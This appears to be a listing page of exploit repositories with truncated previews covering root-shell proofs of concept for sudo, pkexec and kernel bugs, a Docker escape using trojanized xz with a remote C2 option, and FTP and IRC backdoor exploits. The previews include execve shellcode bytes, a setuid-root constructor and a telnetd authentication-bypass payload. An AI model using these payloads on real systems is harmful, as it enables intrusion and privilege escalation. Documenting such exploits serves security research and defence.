CVE-2021-3156

CVE-2021-3156 Root shell PoC for CVE-2021-3156 no bruteforce For educational purposes etc. Tested on Ubuntu 20.04 against sudo 1.8.31 All research credit: Qualys Research Team Check out the details on their blog. You can check your version of sudo is vulnerable with: $ sudoedit -s Y. If it asks f...

CVE-2026-41567

CVE-2026-41567 1day One day for Docker Escape CVE-2026-41567. It is a demonstration of docker escape using trojanized xz / unpigz. It can be easily modified to be used remotely i.e. just modify the docker default IP with a remote C2. More information on the exploit here PoC Run a netcat listening...

SLAE

SLAE Securitytube Linux Assembly Expert SLAE SLAE-721 Build + Assembling ... + Linking ... + Extract Shellcode from binary ... "\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x89" "\xc1\xb0\x0b\xcd\x80" + Create C-Header file ... + Compile PoC ... + Run PoC ... + Shellcode Length...

Metasploitable2-Reconnaissance-and-UnrealIRCd-Backdoor-Exploitation

Metasploitable2: Reconnaissance and UnrealIRCd Backdoor Exploitation Disclaimer Metasploitable2 is an intentionally vulnerable virtual machine, published specifically for security training and practice. This project was carried out entirely within an isolated virtual lab that I own and control, f...

PPPoEject

PPPoEject CVE-2026-68121 Writeup !WARNING The PoC is provided solely to help defenders, maintainers, and authorized security teams validate patches, mitigations, detections, and exposure on systems they own or are explicitly authorized to test. You are solely responsible for ensuring that your us...

CVE-2026-31431

Description: Cfail is my implementation in C++ x86-64 Assembly of CVE-2026-31431 aka Copyfail, with no dependecy required at all, included libc. In fact, you obtain am universal executable able to run stand-alone on every Linux x86-64 distribution, thanks to a minimal implementation of the standa...

vsftpd-backdoor

Exploit for the vsftpd 2.3.4 Backdoor CVE-2011-2523 This exploit takes advantage of a backdoor in version 2.3.4 of the vsftpd FTP service. The backdoor was maliciously introduced into the source code and allows remote command execution as root on the affected server How it works The backdoor is...

cve-2010-3847

CVE-2010-3847 script Meant to automate the exploit discussed in http://marc.info/?l=full-disclosure&m=128776663124692&w=2. Tested on CentOS 5 x86. The DSO it outputs is compiled from the following code: include include include void attributeconstructor init setuid0; system"/bin/bash"; Usage...

CVE-2019-2215

CVE-2019-2215 Temproot for Bravia TV via CVE-2019-2215. Overview Demonstration of a kernel memory R/W-only privilege escalation attack resulting in a temporary root shell. It works on Sony Bravia TV devices running the Android 8 PKG6.0724 firmware with kernel version 4.9.51. For this tool to work...

CVE-2025-69604

CVE-2025-69604 Description This vulnerability is similar to the one that is described in CVE-2025-61229 – an attacker can edit the task template to get SuperDuper backup tasks to install an arbitrary package. The package can then run shell scripts as the root user and with the highest level of...

CVE-2021-3156

CVE-2021-3156 Root shell PoC for CVE-2021-3156 no bruteforce For educational purposes etc. Tested on Ubuntu 20.04 against sudo 1.8.31 All research credit: Qualys Research Team Check out the details on their blog. You can check your version of sudo is vulnerable with: $ sudoedit -s Y. If it asks f...

CyberhawksLab-telnetCVE

CyberHawks lab demo finding report Credit to: @SafeBreach-Labs CVE: CVE-2026-24061 Lab: Cyberhawks Lab Target: 10.1.1.1 demo.cyberhawks.lab Finding ID: WU-08 Date: 2026-09-08 Severity: Critical Status: Confirmed / Exploited Executive Summary During an assessment of the Cyberhawks lab environment,...

ip-camera-research

IP Camera Research - Fullhan FH8626V100 AJL30PG0803 Security research on a consumer IP camera built on the Fullhan FH8626V100 SoC model AJL30PG0803, resulting in six assigned CVEs covering unauthenticated API access, plaintext credential disclosure, and full unauthenticated device compromise via ...

copy-fail-CVE-2026-31431

CVE-2026-31431 Copy Fail exploit Author: pyroceper Tested on: Ubuntu 25.10 x8664 $ make $ ./exploit Detected kernel: 6.17.0 Making backup of /etc/passwd to /tmp Backup saved as /tmp/passwd.bak Obtaining root shell... id uid=0pwn gid=0root groups=0root whoami pwn CREDITS & REFERENCES: Original...

CVE-2026-31431

CVE-2026-31431 CVE-2026-31431 detection and testing 0x01 Quick Start Some target environments do not have Python installed, so this privilege escalation logic was rewritten in C. 1. Compile Run the following command on your Linux machine or WSL using -static is recommended to avoid GLIBC version...

CVE-2021-4034

CVE-2021-4034 Exploit Usage $ git clone https://github.com/whokilleddb/CVE-2021-4034 $ cd CVE-2021-4034 $ make ! CVE-2021-4034 Exploit By whokilleddb ! Initializing Setup + Setup Done :D ! Setting Root Privileges ! Launching Root Shell /bin/whoami root Rough Patch chmod 0755 which pkexec Note: Yo...

CVE-2026-31431

CVE-2026-31431 — Local Privilege Escalation via AFALG 2026-04-29 — I am publishing this exploit one day after sharing it on theMyDigitalLife forum. It does not require Python; it is written in C and compiled to the smallest possible size using: musl-gcc -static -Os -o exploit exploit.c -s Critica...

CVE-2021-4034

CVE-2021-4034 One day for the polkit privilege escalation exploit Just execute make, ./cve-2021-4034 and enjoy your root shell. The original advisory by the real authors is here PoC If the exploit is working you'll get a root shell immediately: localuser@ubuntu-poc:/CVE-2021-4034$ make cc -Wall...

CVE-2025-32463

CVE-2025-32463 - Setup and Execution Guide This is the first time I’ve ported a malicious exploit into a Nuclei template for a non-intrusive vulnerability scan that still demonstrates the underlying issue. I documented the process in more detail expressly as a learning exercise. My main challenge...

CVE-2026-24061

CVE-2026-24061 Reproduction Steps Build the image docker build -t telnetd-bypass . Start the container docker run -it --rm \ --name telnetd-vuln \ --privileged \ -p 23:23 \ telnetd-bypass Send the payload USER='-f root' telnet -a 127.0.0.1 23 Output Trying 127.0.0.1... Connected to localhost...